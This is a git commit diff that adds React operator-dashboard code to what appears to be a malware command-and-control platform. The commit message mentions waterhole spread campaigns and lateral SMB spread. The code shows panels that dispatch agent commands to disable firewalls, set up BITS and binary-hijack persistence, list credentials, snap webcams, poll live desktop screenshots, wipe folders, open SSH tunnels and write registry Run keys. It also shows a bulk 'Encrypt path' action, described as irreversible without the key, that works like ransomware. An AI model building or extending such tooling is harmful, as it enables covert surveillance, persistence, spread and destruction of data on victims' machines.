feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -136,6 +136,8 @@ export default function AgentListItem({
<span>{agent.cpu_cores} cores · {agent.memory_gb} GB</span>
<span>Uptime: {formatUptime(agent.uptime_seconds)}</span>
<span>v{agent.version || '?'}</span>
{agent.build_id && <span className="mono" title="Forge build">build:{agent.build_id.slice(0, 8)}</span>}
{agent.campaign && <span className="agent-tag-chip" title="Spread campaign">c:{agent.campaign}</span>}
</div>
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
<AgentRemoteActions agent={agent} compact online={online} commandResults={commandResults} />

View File

@@ -0,0 +1,575 @@
import { useState, useEffect, useRef, useCallback, type ReactNode } from 'react';
import { api } from '../../api/client';
import type { Agent, Build } from '../../types';
import { aggressiveActionHint, type AggressiveRemoteAction } from '../../help/aggressiveActions';
import {
isWindowsPlatform,
onlineAgents,
parseCameraListMessage,
selectionAggressiveHint,
selectionCanRunAggressive,
} from '../../help/crucibleOps';
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
interface Props {
selectedAgents: Agent[];
selectedCount: number;
singleSelectedAgent: Agent | null;
commandResults?: Array<{ agent_id?: string; action?: string; success?: boolean; message?: string }>;
onEcho: (text: string, isCmd?: boolean) => void;
onAgentError: (agentId: string, agentName: string, action: string, err: unknown) => void;
}
function CollapsibleGroup({
label,
className,
defaultOpen = true,
children,
}: {
label: string;
className: string;
defaultOpen?: boolean;
children: ReactNode;
}) {
const [open, setOpen] = useState(defaultOpen);
return (
<div className={`crucible-op-group ${className} crucible-op-collapsible`}>
<button type="button" className="cop-toggle" onClick={() => setOpen((v) => !v)}>
<span className="cop-label">{label}</span>
<span className="cop-chevron">{open ? '▲' : '▼'}</span>
</button>
{open && <div className="cop-body">{children}</div>}
</div>
);
}
export default function CrucibleExpandedOps({
selectedAgents,
selectedCount,
singleSelectedAgent,
commandResults,
onEcho,
onAgentError,
}: Props) {
const targets = onlineAgents(selectedAgents);
const winTargets = targets.filter((a) => isWindowsPlatform(a.platform));
const hasSelection = selectedCount > 0;
const singleOnline = singleSelectedAgent?.status === 'online' ? singleSelectedAgent : null;
const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState('');
const [liveDesktop, setLiveDesktop] = useState(false);
const liveDesktopRef = useRef(false);
liveDesktopRef.current = liveDesktop;
const [wolMac, setWolMac] = useState('');
const [registryOpen, setRegistryOpen] = useState(false);
const [regHive, setRegHive] = useState('HKCU');
const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run');
const [regName, setRegName] = useState('');
const [regValue, setRegValue] = useState('');
const [regType, setRegType] = useState('REG_SZ');
const [cameras, setCameras] = useState<string[]>([]);
const [selectedCamera, setSelectedCamera] = useState('');
const [killPid, setKillPid] = useState('');
const [deletePath, setDeletePath] = useState('');
const [moveSrc, setMoveSrc] = useState('');
const [moveDst, setMoveDst] = useState('');
const [wipePath, setWipePath] = useState('');
useEffect(() => {
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
}, []);
useEffect(() => {
if (singleSelectedAgent?.mac_address && !wolMac) {
setWolMac(singleSelectedAgent.mac_address);
}
}, [singleSelectedAgent?.mac_address, wolMac]);
const dispatchOne = useCallback(
async (agent: Agent, action: string, args: Record<string, unknown> = {}) => {
try {
const res = await api.sendAgentCommand(agent.id, action, args);
if (res.success === false) {
onAgentError(agent.id, agent.name, action, res.error ?? 'rejected');
}
} catch (err) {
onAgentError(agent.id, agent.name, action, err);
}
},
[onAgentError]
);
const bulkDispatch = useCallback(
(action: string, args: Record<string, unknown> = {}, tgts = targets) => {
if (tgts.length === 0) return;
for (const a of tgts) {
void dispatchOne(a, action, args);
}
onEcho(`${action}${tgts.length} node(s)`, true);
},
[dispatchOne, onEcho, targets]
);
const aggDisabled = (action: AggressiveRemoteAction) =>
!hasSelection || targets.length === 0 || !selectionCanRunAggressive(action, selectedAgents);
const aggTitle = (action: AggressiveRemoteAction) =>
selectionAggressiveHint(action, selectedAgents) ??
aggressiveActionHint(action, singleSelectedAgent?.capabilities, singleSelectedAgent?.platform);
const aggBulk = (
action: AggressiveRemoteAction,
args: Record<string, unknown> = {},
confirm?: string,
tgts = targets
) => {
if (!hasSelection || tgts.length === 0) return;
if (confirm && !window.confirm(confirm)) return;
bulkDispatch(action, args, tgts);
};
// Live desktop polling (single node)
useEffect(() => {
if (!liveDesktop || !singleOnline) return;
let focused = document.visibilityState === 'visible';
const onVis = () => { focused = document.visibilityState === 'visible'; };
document.addEventListener('visibilitychange', onVis);
const tick = () => {
if (!focused || !liveDesktopRef.current) return;
api.sendAgentCommand(singleOnline.id, 'screenshot').catch(() => {});
};
const id = setInterval(tick, 3000);
tick();
return () => {
clearInterval(id);
document.removeEventListener('visibilitychange', onVis);
};
}, [liveDesktop, singleOnline]);
useEffect(() => () => setLiveDesktop(false), []);
const lastCameraMsg = useRef('');
useEffect(() => {
if (!commandResults?.length) return;
const hit = [...commandResults].reverse().find((r) => r.action === 'camera_list' && r.success && r.message);
if (!hit?.message || hit.message === lastCameraMsg.current) return;
lastCameraMsg.current = hit.message;
const devs = parseCameraListMessage(hit.message);
if (devs.length > 0) {
setCameras(devs);
setSelectedCamera(devs[0]);
}
}, [commandResults]);
const listCameras = async () => {
const agent = singleOnline ?? targets[0];
if (!agent) return;
onEcho('camera_list → ' + agent.name, true);
try {
const res = await api.sendAgentCommand(agent.id, 'camera_list');
if (res.success === false) {
onAgentError(agent.id, agent.name, 'camera_list', res.error);
return;
}
} catch (err) {
onAgentError(agent.id, agent.name, 'camera_list', err);
}
};
const registryDispatch = (action: 'registry_read' | 'registry_write' | 'registry_delete') => {
const winTargets = targets.filter((a) => isWindowsPlatform(a.platform));
if (winTargets.length === 0) {
alert('Registry ops require online Windows agent(s).');
return;
}
if (winTargets.length > 1 && !window.confirm(`Registry ${action} on ${winTargets.length} Windows nodes?`)) {
return;
}
const payload =
action === 'registry_read'
? { data: JSON.stringify({ hive: regHive, path: regPath }) }
: action === 'registry_write'
? {
data: JSON.stringify({
hive: regHive,
path: regPath,
name: regName,
value: regValue,
type: regType,
}),
}
: { data: JSON.stringify({ hive: regHive, path: regPath, name: regName }) };
bulkDispatch(action, payload, winTargets);
};
const sendWol = async () => {
const tgts = selectedAgents.length > 0 ? selectedAgents : [];
if (tgts.length === 0) return;
for (const a of tgts) {
try {
const res = await api.sendWOL(a.id, wolMac || a.mac_address || undefined);
onEcho(
res.success
? `✓ WOL → ${a.name} (${res.mac ?? wolMac ?? 'stored MAC'})`
: `✗ WOL ${a.name}: ${res.error ?? 'failed'}`,
true
);
} catch (err) {
onAgentError(a.id, a.name, 'wol', err);
}
}
};
const pushUpgrade = () => {
const build = builds.find((b) => b.id === selectedBuildId);
if (!build?.download_url || targets.length === 0) return;
if (!window.confirm(`Push upgrade (${build.file_name ?? build.id}) to ${targets.length} node(s)?`)) return;
bulkDispatch('upgrade', { data: build.download_url });
};
return (
<>
<CollapsibleGroup label="Network" className="cop-network" defaultOpen>
<button
className="button crucible-op-btn"
disabled={!hasSelection || targets.length === 0}
title="C2 + pool DNS/TCP reachability JSON"
onClick={() => bulkDispatch('connectivity_probe')}
>
Connectivity Probe
</button>
<button
className="button crucible-op-btn"
disabled={!hasSelection || targets.length === 0}
title="TCP listeners table"
onClick={() => bulkDispatch('listen_ports')}
>
Listen Ports
</button>
<button
className="button crucible-op-btn"
disabled={!hasSelection || targets.length === 0}
title="Windows Update / patch exposure"
onClick={() => bulkDispatch('patch_status')}
>
Patch Status
</button>
<button
className="button crucible-op-btn"
disabled={!hasSelection || targets.length === 0}
title="ARP cache neighbors on shared subnets"
onClick={() => bulkDispatch('arp_neighbors')}
>
ARP Neighbors
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('firewall_punch')}
title={aggTitle('firewall_punch')}
onClick={() => aggBulk('firewall_punch', { command: '8989' })}
>
Open FW Port
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('firewall_off')}
title={aggTitle('firewall_off')}
onClick={() => aggBulk('firewall_off', {}, 'Disable Windows Firewall on ALL profiles?')}
>
FW Off
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('firewall_on')}
title={aggTitle('firewall_on')}
onClick={() => aggBulk('firewall_on', {}, 'Enable Windows Firewall on all profiles?')}
>
FW On
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('firewall_profiles')}
title={aggTitle('firewall_profiles') || 'Disable Private+Public profiles'}
onClick={() => aggBulk('firewall_profiles', { command: 'off', path: 'Private,Public' })}
>
FW Private Off
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('firewall_remove')}
title={aggTitle('firewall_remove')}
onClick={() => aggBulk('firewall_remove', {}, 'Remove AetherForge firewall rules?')}
>
Remove FW Rules
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('hole_punch_status')}
title={aggTitle('hole_punch_status')}
onClick={() => aggBulk('hole_punch_status')}
>
WAN IP
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('hole_punch_close')}
title={aggTitle('hole_punch_close')}
onClick={() => aggBulk('hole_punch_close', { command: '8989' })}
>
Close UPnP
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('tunnel_stop')}
title={aggTitle('tunnel_stop') || 'Stop all outbound tunnels'}
onClick={() => aggBulk('tunnel_stop', { command: 'all' }, 'Stop all tunnels on selected nodes?')}
>
Stop Tunnels
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('mesh_status')}
title={aggTitle('mesh_status')}
onClick={() => aggBulk('mesh_status')}
>
Mesh Peers
</button>
</CollapsibleGroup>
<CollapsibleGroup label="Persistence" className="cop-persist">
<button
className="button crucible-op-btn"
disabled={aggDisabled('bits_persist')}
title={aggTitle('bits_persist') || 'Register BITS notify job (Windows)'}
onClick={() => aggBulk('bits_persist')}
>
BITS Persist
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('host_binary_persist')}
title={aggTitle('host_binary_persist') || 'Hijack host client binary'}
onClick={() => aggBulk('host_binary_persist', { path: 'ssh' })}
>
Host Binary
</button>
<button
className="button crucible-op-btn"
disabled={!hasSelection || targets.length === 0}
title="Read-only audit: Run keys, tasks, systemd/launchd"
onClick={() => bulkDispatch('persistence_audit')}
>
Persistence Audit
</button>
</CollapsibleGroup>
<CollapsibleGroup label="Fleet Maintenance" className="cop-maint" defaultOpen>
<div className="crucible-inline-row crucible-upgrade-row">
<select
className="crucible-inline-select"
value={selectedBuildId}
onChange={(e) => setSelectedBuildId(e.target.value)}
disabled={targets.length === 0}
>
<option value=""> pick build </option>
{builds.filter((b) => b.download_url).map((b) => (
<option key={b.id} value={b.id}>
{b.file_name ?? b.id} ({b.platform ?? 'win'})
</option>
))}
</select>
<button
className="button crucible-op-btn"
disabled={!selectedBuildId || targets.length === 0}
onClick={pushUpgrade}
>
Push Upgrade
</button>
</div>
{singleOnline && (
<button
className={`button crucible-op-btn ${liveDesktop ? 'crucible-op-active' : ''}`}
title="Poll screenshot every 3s while tab is focused"
onClick={() => setLiveDesktop((v) => !v)}
>
{liveDesktop ? '■ Live Desktop' : '▶ Live Desktop'}
</button>
)}
<div className="crucible-inline-row">
<input
className="crucible-inline-input"
placeholder="MAC (optional)"
value={wolMac}
onChange={(e) => setWolMac(e.target.value)}
/>
<button
className="button crucible-op-btn"
disabled={!hasSelection}
title="POST /agents/{id}/wol — works when offline"
onClick={() => void sendWol()}
>
Wake-on-LAN
</button>
</div>
<button
type="button"
className="button crucible-op-btn crucible-op-muted"
onClick={() => setRegistryOpen((v) => !v)}
disabled={!hasSelection}
>
Registry {registryOpen ? '▲' : '▼'}
</button>
{registryOpen && (
<div className="crucible-registry-panel">
<div className="crucible-inline-row">
<select className="crucible-inline-select" value={regHive} onChange={(e) => setRegHive(e.target.value)}>
<option value="HKCU">HKCU</option>
<option value="HKLM">HKLM</option>
</select>
<input
className="crucible-inline-input"
value={regPath}
onChange={(e) => setRegPath(e.target.value)}
placeholder="Software\...\Run"
/>
</div>
<div className="crucible-inline-row">
<input className="crucible-inline-input" value={regName} onChange={(e) => setRegName(e.target.value)} placeholder="Value name" />
<input className="crucible-inline-input" value={regValue} onChange={(e) => setRegValue(e.target.value)} placeholder="Value (write)" />
</div>
<div className="crucible-inline-row">
<button className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => registryDispatch('registry_read')}>Read</button>
<button className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_write')}>Write</button>
<button className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_delete')}>Delete</button>
</div>
<p className="form-hint" style={{ margin: 0, fontSize: '0.68rem' }}>
{targets.length > 1 ? 'Bulk registry ops apply to all online Windows selections (confirm).' : 'HKCU/HKLM under Software\\ or Environment.'}
</p>
</div>
)}
<div className="crucible-inline-row">
<input
className="crucible-inline-input"
placeholder="PID to kill"
value={killPid}
onChange={(e) => setKillPid(e.target.value)}
/>
<button
className="button crucible-op-btn"
disabled={!killPid.trim() || targets.length === 0}
onClick={() => {
if (!window.confirm(`Kill PID ${killPid} on ${targets.length} node(s)?`)) return;
bulkDispatch('kill_process', { command: killPid.trim() });
}}
>
Kill Process
</button>
</div>
<div className="crucible-camera-row">
<button className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => void listCameras()}>
List Cameras
</button>
{cameras.length > 0 && (
<select className="crucible-inline-select" value={selectedCamera} onChange={(e) => setSelectedCamera(e.target.value)}>
<option value=""> first device </option>
{cameras.map((c) => (
<option key={c} value={c}>{c}</option>
))}
</select>
)}
<button
className="button crucible-op-btn"
disabled={targets.length === 0}
onClick={() => bulkDispatch('camera_snapshot', selectedCamera ? { command: selectedCamera } : {})}
>
Camera Snap
</button>
</div>
<div className="crucible-inline-row">
<input className="crucible-inline-input" placeholder="delete_path" value={deletePath} onChange={(e) => setDeletePath(e.target.value)} />
<button
className="button crucible-op-btn"
disabled={!deletePath.trim() || targets.length === 0}
onClick={() => {
if (!window.confirm(`Delete file ${deletePath} on ${targets.length} node(s)?`)) return;
bulkDispatch('delete_path', { path: deletePath.trim() });
}}
>
Delete File
</button>
</div>
<div className="crucible-inline-row">
<input className="crucible-inline-input" placeholder="move src" value={moveSrc} onChange={(e) => setMoveSrc(e.target.value)} />
<input className="crucible-inline-input" placeholder="move dst" value={moveDst} onChange={(e) => setMoveDst(e.target.value)} />
<button
className="button crucible-op-btn"
disabled={!moveSrc.trim() || !moveDst.trim() || targets.length === 0}
onClick={() => bulkDispatch('move_path', { path: moveSrc.trim(), data: moveDst.trim() })}
>
Move
</button>
</div>
<div className="crucible-phase-c-row">
<button
className="button crucible-op-btn"
disabled={aggDisabled('smb_shares') || winTargets.length === 0}
title={aggTitle('smb_shares') || 'Enumerate \\\\host\\share on Windows LAN (JSON)'}
onClick={() => aggBulk('smb_shares', {}, undefined, winTargets)}
>
SMB Shares
</button>
<button
className="button crucible-op-btn"
disabled={!hasSelection || targets.length === 0}
title="Last lateral spread sweep summary (JSON)"
onClick={() => bulkDispatch('spread_status')}
>
Spread Status
</button>
<button
className="button crucible-op-btn"
disabled={aggDisabled('credential_vault_list')}
title={aggTitle('credential_vault_list') || 'Credential vault names only (no secrets)'}
onClick={() => aggBulk('credential_vault_list')}
>
Credential Names
</button>
<div className="crucible-inline-row" style={{ flex: '1 1 100%' }}>
<input
className="crucible-inline-input"
placeholder="secure_wipe folder path"
value={wipePath}
onChange={(e) => setWipePath(e.target.value)}
/>
<button
className="button crucible-op-btn"
disabled={!wipePath.trim() || aggDisabled('secure_wipe')}
title={aggTitle('secure_wipe') || 'Overwrite files then delete folder'}
onClick={() => {
if (!window.confirm(`Secure-wipe folder ${wipePath} on ${targets.length} node(s)?`)) return;
bulkDispatch('secure_wipe', { path: wipePath.trim() });
}}
>
Secure Wipe
</button>
</div>
<CruciblePortForwardMatrix
selectedAgents={selectedAgents}
onEcho={onEcho}
onDispatch={(agent, action, args) => dispatchOne(agent, action, args)}
/>
</div>
</CollapsibleGroup>
</>
);
}

View File

@@ -0,0 +1,130 @@
import { useState } from 'react';
import type { Agent } from '../../types';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import {
buildSSHForwardPayload,
newPortForwardRow,
type PortForwardRow,
validatePortForwardRows,
windowsOnlineAgents,
} from '../../help/crucibleOps';
interface Props {
selectedAgents: Agent[];
onDispatch: (agent: Agent, action: string, args: Record<string, unknown>) => void | Promise<void>;
onEcho: (text: string, isCmd?: boolean) => void;
}
export default function CruciblePortForwardMatrix({ selectedAgents, onDispatch, onEcho }: Props) {
const [open, setOpen] = useState(false);
const [rows, setRows] = useState<PortForwardRow[]>(() => [newPortForwardRow()]);
const winTargets = windowsOnlineAgents(selectedAgents);
const tunnelAllowed = (agent: Agent) =>
canRunAggressiveAction('tunnel_ssh_forward', agent.capabilities, agent.platform);
const dispatchMatrix = () => {
const err = validatePortForwardRows(rows);
if (err) {
alert(err);
return;
}
if (winTargets.length === 0) {
alert('Select online Windows agent(s) for SSH local forwards.');
return;
}
const blocked = winTargets.find((a) => !tunnelAllowed(a));
if (blocked) {
alert(aggressiveActionHint('tunnel_ssh_forward', blocked.capabilities, blocked.platform));
return;
}
if (
!window.confirm(
`Start ${rows.length} SSH forward(s) on each of ${winTargets.length} Windows node(s)?`
)
) {
return;
}
for (const agent of winTargets) {
for (const row of rows) {
const payload = buildSSHForwardPayload(row.localPort, row.remoteHostPort, row.sshUser);
if (!payload) continue;
void onDispatch(agent, 'tunnel_ssh_forward', { data: JSON.stringify(payload) });
}
}
onEcho(`tunnel_ssh_forward matrix → ${winTargets.length} node(s), ${rows.length} row(s)`, true);
};
const updateRow = (id: string, patch: Partial<PortForwardRow>) => {
setRows((prev) => prev.map((r) => (r.id === id ? { ...r, ...patch } : r)));
};
return (
<div className="crucible-portfwd-matrix">
<button
type="button"
className="button crucible-op-btn crucible-op-muted"
onClick={() => setOpen((v) => !v)}
disabled={winTargets.length === 0}
title="Multi-row SSH local forward on selected Windows nodes"
>
Port-Forward Matrix {open ? '▲' : '▼'}
</button>
{open && (
<div className="crucible-portfwd-body">
<p className="form-hint" style={{ margin: '0 0 0.4rem', fontSize: '0.68rem' }}>
Each row opens 127.0.0.1:local remote on {winTargets.length} Windows node(s).
</p>
<div className="crucible-portfwd-grid">
<span className="crucible-portfwd-head">Local</span>
<span className="crucible-portfwd-head">Remote host:port</span>
<span className="crucible-portfwd-head">SSH user</span>
<span className="crucible-portfwd-head" />
{rows.map((row) => (
<div key={row.id} className="crucible-portfwd-row">
<input
className="crucible-inline-input"
value={row.localPort}
onChange={(e) => updateRow(row.id, { localPort: e.target.value })}
placeholder="2222"
/>
<input
className="crucible-inline-input"
value={row.remoteHostPort}
onChange={(e) => updateRow(row.id, { remoteHostPort: e.target.value })}
placeholder="192.168.1.50:3389"
/>
<input
className="crucible-inline-input"
value={row.sshUser}
onChange={(e) => updateRow(row.id, { sshUser: e.target.value })}
placeholder="optional"
/>
<button
type="button"
className="button crucible-op-btn"
onClick={() => setRows((prev) => (prev.length <= 1 ? prev : prev.filter((r) => r.id !== row.id)))}
title="Remove row"
>
</button>
</div>
))}
</div>
<div className="crucible-inline-row">
<button
type="button"
className="button crucible-op-btn"
onClick={() => setRows((prev) => [...prev, newPortForwardRow()])}
>
+ Row
</button>
<button type="button" className="button crucible-op-btn" onClick={dispatchMatrix}>
Dispatch Matrix
</button>
</div>
</div>
)}
</div>
);
}

View File

@@ -29,7 +29,7 @@ function parseListDir(message: string): { path: string; entries: DirEntry[] } |
}
export default function FileManager({ agentId, agentName, online, commandResults }: Props) {
const [cwd, setCwd] = useState('C:\\');
const [cwd, setCwd] = useState('');
const [entries, setEntries] = useState<DirEntry[]>([]);
const [filter, setFilter] = useState('');
const [selected, setSelected] = useState<Set<string>>(new Set());

View File

@@ -1,6 +1,11 @@
.agents-list-panel {
flex: 1;
min-width: 0;
padding: 1rem;
border: 1px solid var(--border-brass);
border-radius: 2px;
background: rgba(8, 6, 4, 0.45);
box-shadow: var(--shadow-panel);
}
.agents-list-panel .agents-list {

View File

@@ -0,0 +1,137 @@
.remote-dir-browser {
border: 1px solid rgba(255, 34, 34, 0.35);
border-radius: 6px;
padding: 0.65rem 0.75rem;
background: rgba(40, 0, 0, 0.25);
margin-top: 0.5rem;
}
.rdb-header {
display: flex;
justify-content: space-between;
align-items: center;
gap: 0.5rem;
margin-bottom: 0.35rem;
}
.rdb-title {
font-size: 0.68rem;
letter-spacing: 0.08em;
color: #ff8888;
}
.rdb-hint {
margin: 0 0 0.45rem;
font-size: 0.68rem;
}
.rdb-offline {
color: #ff6666;
font-size: 0.78rem;
margin: 0.25rem 0;
}
.rdb-path {
font-size: 0.72rem;
color: var(--neon-cyan);
margin-bottom: 0.35rem;
word-break: break-all;
}
.rdb-breadcrumb {
margin-bottom: 0.4rem;
flex-wrap: wrap;
display: flex;
align-items: center;
}
.rdb-crumb {
background: none;
border: none;
color: var(--neon-cyan, #0ff);
cursor: pointer;
font-size: 0.72rem;
padding: 0;
}
.rdb-sep {
opacity: 0.45;
margin: 0 0.15rem;
}
.rdb-list {
list-style: none;
margin: 0;
padding: 0;
max-height: 180px;
overflow-y: auto;
border: 1px solid #331111;
background: rgba(0, 0, 0, 0.35);
}
.rdb-row {
display: flex;
width: 100%;
justify-content: space-between;
align-items: center;
gap: 0.5rem;
text-align: left;
background: none;
border: none;
color: #ddd;
padding: 0.3rem 0.5rem;
cursor: pointer;
font-family: var(--font-tech);
font-size: 0.78rem;
}
.rdb-row:hover {
background: rgba(255, 34, 34, 0.12);
}
.rdb-dir {
color: #9fdcff;
}
.rdb-size {
color: #888;
font-size: 0.68rem;
flex-shrink: 0;
}
.rdb-actions {
display: flex;
align-items: center;
gap: 0.75rem;
margin-top: 0.5rem;
flex-wrap: wrap;
}
.rdb-recursive {
display: flex;
align-items: center;
gap: 0.35rem;
font-size: 0.75rem;
color: #bbb;
cursor: pointer;
}
.rdb-encrypt-btn {
background: linear-gradient(135deg, #7b0000 0%, #cc0000 100%);
border: 1px solid #ff2222;
color: #fff;
font-weight: 700;
letter-spacing: 0.05em;
font-size: 0.78rem;
padding: 0.35rem 0.75rem;
}
.rdb-encrypt-btn:disabled {
opacity: 0.45;
}
.rdb-err {
color: #ff6666;
font-size: 0.75rem;
margin: 0.35rem 0 0;
}

View File

@@ -0,0 +1,211 @@
import { useCallback, useEffect, useMemo, useState } from 'react';
import { api } from '../../api/client';
import {
defaultBrowseRoot,
joinRemotePath,
parseListDirMessage,
pathBreadcrumbs,
type DirEntry,
} from '../../help/remoteDirBrowser';
import './RemoteDirBrowser.css';
interface Props {
agentId: string;
agentName?: string;
platform?: string;
online: boolean;
/** Encrypt targets — all online selected agents when multi-select */
encryptTargets: { id: string; name: string }[];
commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
onTerminalLine?: (text: string, isCmd?: boolean) => void;
}
export default function RemoteDirBrowser({
agentId,
agentName,
platform,
online,
encryptTargets,
commandResults,
onTerminalLine,
}: Props) {
const [cwd, setCwd] = useState(() => defaultBrowseRoot(platform));
const [entries, setEntries] = useState<DirEntry[]>([]);
const [homeDir, setHomeDir] = useState('');
const [recursive, setRecursive] = useState(true);
const [busy, setBusy] = useState(false);
const [err, setErr] = useState('');
const sep = cwd.includes('/') ? '/' : '\\';
const crumbs = useMemo(() => pathBreadcrumbs(cwd), [cwd]);
const browseLabel = homeDir || cwd || 'agent home';
const refresh = useCallback(() => {
if (!online || !agentId) return;
setBusy(true);
setErr('');
api.sendAgentCommand(agentId, 'list_dir', { path: cwd }).catch((e) => {
setErr(e instanceof Error ? e.message : String(e));
setBusy(false);
});
}, [agentId, cwd, online]);
useEffect(() => {
setCwd(defaultBrowseRoot(platform));
setEntries([]);
setHomeDir('');
setErr('');
}, [agentId, platform]);
useEffect(() => {
refresh();
}, [refresh]);
useEffect(() => {
if (!commandResults?.length) return;
const last = [...commandResults]
.reverse()
.find((r) => r.agentId === agentId && (r.action === 'list_dir' || r.action === 'encrypt_path' || r.action === 'sys_crypt'));
if (!last) return;
if (last.action === 'list_dir') {
if (last.success) {
const parsed = parseListDirMessage(last.message);
if (parsed) {
setEntries(parsed.entries);
if (parsed.path) setCwd(parsed.path);
if (parsed.home_dir) setHomeDir(parsed.home_dir);
}
} else {
setErr(last.message);
}
setBusy(false);
} else if (last.action === 'encrypt_path' || last.action === 'sys_crypt') {
setBusy(false);
onTerminalLine?.(
`${last.action} ${last.success ? 'OK' : 'FAIL'}${last.message.slice(0, 500)}`,
false
);
}
}, [commandResults, agentId, onTerminalLine]);
const navigate = (name: string, isDir: boolean) => {
if (!isDir && name !== '..') return;
setCwd(joinRemotePath(cwd, name));
};
const goHome = () => {
setCwd(homeDir || defaultBrowseRoot(platform));
};
const runEncrypt = () => {
const targets = encryptTargets.filter(Boolean);
if (targets.length === 0) {
alert('Select at least one online node.');
return;
}
const pathLabel = cwd || homeDir || '(agent home)';
const scope = recursive ? 'recursively' : 'non-recursively';
const warn =
targets.length > 1
? `Encrypt ${pathLabel} ${scope} on ${targets.length} nodes?\n\nThis is IRREVERSIBLE without the key.`
: `Encrypt ${pathLabel} ${scope} on ${targets[0].name}?\n\nThis is IRREVERSIBLE without the key.`;
if (!confirm(warn)) return;
setBusy(true);
onTerminalLine?.(
`encrypt_path → ${pathLabel} [${scope}] on ${targets.length} node(s)`,
true
);
for (const t of targets) {
api
.sendAgentCommand(t.id, 'encrypt_path', {
path: cwd || homeDir,
command: recursive ? 'recursive' : '',
})
.catch((e) => {
onTerminalLine?.(
`[ERROR] encrypt_path @ ${t.name}: ${e instanceof Error ? e.message : String(e)}`,
false
);
});
}
};
return (
<div className="remote-dir-browser">
<div className="rdb-header">
<span className="font-tech rdb-title">REMOTE BROWSER {agentName ?? agentId.slice(0, 8)}</span>
<button type="button" className="crucible-op-btn" disabled={!online || busy} onClick={refresh}>
Refresh
</button>
</div>
{!online && <p className="rdb-offline">Agent offline browse unavailable</p>}
<p className="rdb-hint form-hint">
Browse the remote machine filesystem. Encrypt runs on {encryptTargets.length} selected online node
{encryptTargets.length !== 1 ? 's' : ''}.
</p>
<div className="rdb-path font-tech" title={cwd || homeDir}>
{browseLabel}
</div>
<div className="rdb-breadcrumb font-tech">
<button type="button" className="rdb-crumb" onClick={goHome}>home</button>
{crumbs.map((c, i) => (
<span key={`${c}-${i}`}>
<span className="rdb-sep">/</span>
<button
type="button"
className="rdb-crumb"
onClick={() => {
const parts = crumbs.slice(0, i + 1);
const root = cwd.startsWith('/') ? '/' : '';
setCwd(root + parts.join(sep));
}}
>
{c}
</button>
</span>
))}
</div>
<ul className="rdb-list">
<li>
<button type="button" className="rdb-row" onClick={() => navigate('..', true)}>..</button>
</li>
{entries.map((e) => (
<li key={e.name}>
<button
type="button"
className={`rdb-row ${e.is_dir ? 'rdb-dir' : 'rdb-file'}`}
onClick={() => navigate(e.name, e.is_dir)}
title={e.is_dir ? 'Open folder' : `${e.size} bytes`}
>
{e.is_dir ? '📁' : '📄'} {e.name}
{!e.is_dir && (
<span className="rdb-size">
{e.size < 1024 ? `${e.size} B` : `${(e.size / 1024).toFixed(1)} KB`}
</span>
)}
</button>
</li>
))}
</ul>
<div className="rdb-actions">
<label className="rdb-recursive">
<input type="checkbox" checked={recursive} onChange={(ev) => setRecursive(ev.target.checked)} />
Recursive
</label>
<button
type="button"
className="button rdb-encrypt-btn"
disabled={!online || busy || encryptTargets.length === 0}
title="AES-256-GCM encrypt files at the current path on selected node(s)"
onClick={runEncrypt}
>
🔒 Encrypt path
</button>
</div>
{err && <p className="rdb-err">{err}</p>}
</div>
);
}